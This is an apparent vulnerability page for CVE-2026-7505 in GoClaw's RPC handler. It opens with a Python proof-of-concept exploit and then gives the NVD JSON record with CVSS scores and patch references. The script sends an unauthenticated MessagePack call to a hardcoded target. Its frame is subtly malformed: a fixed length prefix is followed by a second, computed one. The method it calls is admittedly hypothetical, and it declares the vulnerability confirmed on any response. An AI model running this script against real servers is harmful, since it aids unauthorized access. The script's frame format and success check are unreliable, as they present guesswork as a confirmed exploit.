CVE-2026-7505

import socket import struct # Target configuration TARGET_IP = "192.168.1.100" TARGET_PORT = 8080 # Default GoClaw RPC port def send_rpc_exploit(): try: # Establish TCP connection to the target s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((TARGET_IP, TARGET_PORT)) print(f"[+] Connected to {TARGET_IP}:{TARGET_PORT}") # Construct malicious RPC payload # This payload attempts to invoke a restricted function without auth headers # utilizing MessagePack format or similar binary protocol used by GoClaw payload = b"\x00\x00\x00\x2a" # Length placeholder (42 bytes) payload += b"\x82" # Map header (2 items) payload += b"\xa7method" # Key: "method" payload += b"\xa9System.Info" # Value: "System.Info" (Hypothetical restricted method) payload += b"\xa3params" # Key: "params" payload += b"\x90" # Value: Empty array # Update length header (Big Endian) length = struct.pack(">I", len(payload)) final_payload = length + payload # Send payload to server s.send(final_payload) print("[+] Exploit payload sent successfully") # Receive response response = s.recv(4096) print(f"[+] Server Response: {response}") if response: print("[+] Vulnerability confirmed: Unauthorized access successful.") except Exception as e: print(f"[-] Error occurred: {e}") finally: s.close() if __name__ == "__main__": send_rpc_exploit()

{"cve": {"id": "CVE-2026-7505", "sourceIdentifier": "[email protected]", "published": "2026-04-30T23:16:20.740", "lastModified": "2026-05-01T15:26:24.553", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A flaw has been found in nextlevelbuilder GoClaw and GoClaw Lite up to 3.8.5. This affects an unknown function of the component RPC Handler. This manipulation causes improper authorization. The attack may be initiated remotely. The exploit has been published and may be used. Upgrading to version 3.9.0 mitigates this issue. Patch name: 406022e79f4a18b3070a446712080571eff11e30. You should upgrade the affected component."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 3.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "baseScore": 7.5, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "NONE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "HIGH", "exploitabilityScore": 10.0, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-266"}, {"lang": "en", "value": "CWE-285"}]}], "references": [{"url": "https://github.com/nextlevelbuilder/goclaw/", "source": "[email protected]"}, {"url": "https://github.com/nextlevelbuilder/goclaw/commit/406022e79f4a18b3070a446712080571eff11e30", "source": "[email protected]"}, {"url": "https://github.com/nextlevelbuilder/goclaw/issues/866", "source": "[email protected]"}, {"url": "https://github.com/nextlevelbuilder/goclaw/pull/950", "source": "[email protected]"}, {"url": "https://github.com/nextlevelbuilder/goclaw/releases/tag/v3.9.0", "source": "[email protected]"}, {"url": "https://vuldb.com/submit/803458", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/360314", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/360314/cti", "source": "[email protected]"}]}}